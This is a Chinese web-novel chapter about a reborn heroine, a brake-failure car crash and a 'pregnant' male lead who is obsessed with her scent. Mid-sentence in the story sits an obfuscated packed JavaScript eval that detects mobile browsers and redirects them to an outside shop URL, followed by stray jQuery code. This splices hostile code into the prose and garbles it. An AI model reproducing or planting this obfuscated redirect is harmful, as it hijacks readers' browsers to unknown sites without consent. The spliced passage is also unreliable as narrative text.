霍卮荔垂着头,低沉而显得有些沙哑的声音传来:“你可以走了。”
嗯?
李黛青愣了一下。
“我可以走了?”她疑惑地望过去。
坐在沙发上的霍卮荔抬起头,那双浅褐色的眼睛在灯光下,显得神秘而深邃:“是的。不过,关于今天发生的事……”
“我会守口如瓶,绝对不会往外泄露一句!”
李黛青连忙接过他后面的话。
要是事情泄露,霍卮荔会被当成异类,李黛青这个“参与者”,一样也逃不掉。
霍卮荔望着她,没有说话。
李黛青朝他点了点头,转身朝门外走去。
别墅一楼的客厅,有一面很大的落地窗墙,可以直接看到外面花园里的风景。
霍卮荔坐在沙发上,看着李黛青沿着花园的小径,朝外面的铁门走去。当她经过拐角的一棵合欢树的时候,霍卮荔拿起手机,拨通了一个电话。
电话响了一声,就被接起来了。
“霍少,不好了,医院的孕检报告被老太太那边的人,发现了。”电话那头,是医生赵宇焦急的声音。
霍卮荔的眉头,皱了皱,但又不是很意外。
昨天,他在高尔夫球场,当着很多人的面晕倒了,被送到医院。之后,就一直呆在医院里。这么大的动静,老宅那边不可能没有察觉。
霍卮荔:“他们查到了什么?”
赵宇:“还好你提前提醒我,让我把关于你的身份信息抹掉。现在,他们只知道,你呆在医院期间,有一个人做了怀孕检查,但还不知道怀孕人的身份。”
赵宇一脸庆幸。
跟着,又有些担心:“他们现在没有怀疑到你的身上,误以为是别的女人,怀了你的孩子。现在,正在调查‘那个女人’的身份。”
别墅的花园里。
李黛青走出来没多远,就看到先前霍卮荔派到她的住所,取“幸运符”的下属回来了。
“等等,让我拍一张照片。”李黛青拦下那人。
借着花园里的灯光,掏出手机拍了一张“幸运符”的照片。
“好了,你去吧。”她朝那人点头。
随后,若有所觉地转过头,看到落地窗包裹的客厅里,霍卮荔不知道什么时候,站到了落地窗前,手里拿着一个手机,正在跟什么人通话。
这时,霍卮荔抬起头,朝她看过来。
那双漂亮的浅褐色眼睛,在灯光下明明暗暗,好似藏着什么东西。
李黛青隔着小半个花园,朝他点了点头,便转身朝大门走去。
霍卮荔站在落地窗前,看着李黛青远去的背影,对电话那头的赵宇道:“我知道了。”
“李小姐。”
李黛青走到外面的大门口,一辆黑色轿车缓缓地停在路边,穿着工作服的司机从车上下来,站在车门口,“少爷让我送你回去。”
李黛青看了看天色,发现有点晚了,而这边确实不太好打车,就点头同意了。
“送我去香槟路。”她道。
她之前开来的车,还停在那里。
司机没有拒绝,将她送到香槟路停车场。很快,李黛青就在夜色中,找到她的那辆车。
轰隆——
踩下油门,车子驶入了街道。
在路口等红绿灯的时候,李黛青将酒吧保安私底下,发给她的“巫婆监控视频”,以及在霍家花园里拍的“幸运符”照片,一起发给了方块7。
方块7发了两个“??”过来。
李黛青:“帮我查一下监控里面的巫婆,以及那个幸运符。”
方块7:“……”
方块7:“我是你的私家侦探?”
对方似乎有些无语。
先前让他查跟踪变态,这会儿又让他查什么神秘巫婆?
他是她请来的软件开发大师,不是专门管她私事的管家。
李黛青笑笑:“能者多劳。”
对方回了她一个“白眼”的表情包。
包子小6:“两位主人,晚上好~”
包子小6:“现在是20**年8月21日。**时间,晚上9点整。温度25°,体感温度26°,风力1级。”
……
李黛青跟方块7闲聊了两句,路口的红灯变成了绿灯。
她扫了一眼冒出来的AI小智障,然后将手机丢到旁边,松开刹车,过了红绿灯路口。
霍卮荔怀孕的事,对她的冲击力很大。
李黛青一向是一个很有规划的人。从她重生归来,她就计划好,这辈子要做什么?
要摆脱剧情,不再参合男女主的那些事,不再参合李家的事,努力活着,找到上辈子放冷枪的人,顺便,给自己搞点副业,弄几个投资,多搞几个“马甲”护身。
当然,这里面最重要的,就是努力活着。
霍卮荔怀孕的事,完全属于计划外的事。
而她,讨厌计划以外的事。尤其讨厌,“意外”这两个字。
因为“意外”,往往就意味着麻烦。
就像今晚,霍卮荔放她离开,可李黛青跟霍卮荔都知道,这只是暂时的。眼下,霍卮荔还没有搞清楚,发生在他身上的怪异,到底是怎么回事?
一旦搞清楚,又或者说,发现这事没办法搞清楚……那么,知道他秘密的李黛青,大概就会被处置掉。
至于会怎么处置?
按理来说,现在是法治社会,大家遵纪守法,也不能随便就当法外狂徒。
可是,李黛青的经历又明确在告诉她,她所处的这个世界,是一本小说世界。小说世界,自然有一套适合它的运行规则,并不需要按照真实的世界那般运转。
况且,霍卮荔还是书中有名的反派暴君。
要是给她来一套“处置”,那她的结局,还真不好说。说不定,都不用等到十年后,挨那一枪了。
“要不,提前跑路吧?”李黛青想着。
出国跑路,是她给自己定的一条,不到万不得已——也就是最后,如果还是没有摆脱剧情、找到放冷枪的人,就选择的一条退路。
这条路,是最后的退路。原本,至少要等个3~4年,才会被她提上日程,着手安排海外的项目。可眼下看来?或许该提前了。
不管怎么样,明天先抽个时间,去把护照给办了。
李黛青心想。
突然,前方的道路上窜出一条黑影,李黛青连忙点刹车。
但是很快,她发现刹车失效了。
深褐色的瞳孔,猛地一缩,车子在行驶中,一头撞向了路边的一棵大树。
“砰——”
李黛青的脸,狠狠地撞向前方。
跟着,意识昏沉,她趴在方向盘上,眼前的视线出现了重影。
滴答、滴答——
隐约中,她好像听到了水滴到地上的声音。
不,不是水……是,油!
李黛青感到恐惧。
不,她不能呆在车里,她还要活着。
她咬破了舌尖,意识短暂清醒,忍着眩晕,伸手解开了身上的安全带扣,啪嗒,然后努力地,努力地移动上半身,脑袋朝下地砸向地面。
摔下来的时候,手很痛,身上也很痛,但是,她不能停,她要从车里爬出来。
恍惚间,她的面前出现了一双球鞋。
李黛青吃力地,抓住了球鞋主人的脚。
救,救……
霍卮荔今天很难受。
尤其是,李黛青吃饭那会儿,他还吐了。所以今晚,他早早地就躺在了床上。但是,却无法入睡。
实际上,他已经有很长的时间,都处于睡眠障碍的状态。
尤其是这一个月。
起初,霍卮荔不知道原因,以为只是他的状态不好。所以跑到国外,参加各种极限活动,释放精力,让自己没精神去想那些。
直到昨天晚上,在赵宇那里看到那张“怀孕”的检查报告后,霍卮荔便明白这一个月以来,他焦躁不安、整夜失眠的缘故。
因为他肚子里,长了东西。那个东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767923|209796||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
按照医学的说法,被称作“受精卵”。
霍卮荔的卧室,是一间100平米的卧室。卧室很大,也很空旷,显得很冷清,没有什么生活气息。此刻,霍卮荔坐在卧室中间的那张黑灰色的大床上。
在他的右手边,躺着一条白色的抹胸。
如果李黛青现在在这里,肯定能认出来,这就是她在酒店的那天早上,不见了的那条抹胸。
为什么会出现在这里?
霍卮荔也说不清楚。
他从小就被失眠症困扰。严重的时候,躺在床上,睁着眼睛从天黑到天明。为此,他试过很多办法,甚至,长时间服用安眠药。
但安眠药服用多了,逐渐在他身体里形成了抗药性。转眼,二十年过去,现在安眠药对霍卮荔来说,已经没有什么作用了。
可他没有表现出来,就连平日里给他治疗的医生,都不清楚这件事。
这个看起来阳光开朗、风趣幽默,笑容里没有一丝阴霾的霍家继承人,竟然会经常在黑夜里,睁着眼睛到天明。
霍卮荔早已经,习惯了这种失控的秩序。
直到一个多月前,他在酒店遇到李黛青。尽管被下了药,用掉了3盒安全套,那晚的大部分时间里,他其实都在“行动”,但是,没有人知道,跟李黛青相遇的那晚,却是他近半年来,睡得最好的一次。
尽管那晚加起来,可能就睡了不到4个小时。
李黛青睡在他身边的时候,他说不出来,那是一种什么样的感觉,他总感觉李黛青的身上有一种很特别的味道。那种味道,虽然很淡,但是,却能够他安心、让他的精神不自觉地放松下来。
那个时候,霍卮荔不确定那是不是他的错觉?还是因为药物的关系?
于是,他趁着李黛青在洗澡的时候,将地上的白色抹胸,放进了他的西装口袋里。
他将白色抹胸,带回了家里。然后,又让顾禾给他找药,就是那晚,赵丛林给他下的那种药。
顾禾一脸惊讶。
但最后,还是给他找来了那种药。
霍卮荔将自己锁在浴室里,服下了那种药。结果告诉他,不是药的原因。那晚,最后他被送去了医院。
不是药,那就是李黛青?
接下来的两天,霍卮荔都将李黛青的抹胸,缠在手上入睡。但是,抹胸上的气味太淡了,根本就起不了多大作用,反而让霍卮荔的心情变得更加烦躁。
身体里似乎有一个声音在叫嚣着,叫嚣着一个人的名字。
一次是意外?那两次?
后来,在夜色酒吧那晚,霍卮荔跟李黛青相拥躺在一张床上。那晚,他又一觉睡到天明。
霍卮荔依旧不甘心,不想承认——他像是着魔一样,迷恋上了李黛青身上的味道。
并且那种味道,只有他一个人能感觉到。
怀孕的这一个月,症状越来越严重,他变得越来越渴望。
可霍卮荔是一个什么样的人?
他是一个对外人残忍,对自己更残忍的人。
依赖?上瘾?
对他来说,是懦弱的表现。
同时,对身处霍家这个环境的他来说,也是一件极其危险的事。他不想表现出来。
为此,不惜忍受整夜整夜的失眠。
他已经忘了,昨天下午在高尔夫球场昏倒前,他已经有多久没有好好闭过眼睛?
此刻,早就没了气味的抹胸,被霍卮荔丢到了一边。他的手里,拿着一份《孕检报告》,是今天白天在医院里,被李黛青捏过的那份《孕检报告》。
霍卮荔双手捧着《孕检报告》,手指颤抖着,将报告凑到鼻尖下,然后低下头,将脸埋了进去。
嘶——
耳尖,微微泛红。
嗡嗡嗡,嗡嗡嗡——
就在这时,霍卮荔的手机响了。
霍卮荔抬起头,脸上明显有被打断的烦躁。
电话是赵宇从医院打来的。
赵宇告诉他,李黛青出车祸了。被来太太的人,送来了他家的医院。